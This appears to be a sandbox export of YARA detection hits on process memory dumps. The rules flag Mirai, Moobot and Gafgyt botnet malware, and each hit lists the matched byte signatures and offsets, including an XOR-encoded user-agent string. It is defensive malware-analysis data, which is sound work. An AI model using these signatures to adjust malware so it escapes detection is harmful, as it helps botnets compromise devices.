6426.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6892.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6892.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6892.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6426.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6426.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6892.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6426.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6892.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6892.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6426.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6426.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6749.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6749.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6749.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6749.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6749.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6749.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6913.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6913.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6913.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6913.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6913.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6913.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7361.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7361.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7361.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6555.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6926.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7059.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7059.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7059.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7059.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7059.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7059.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
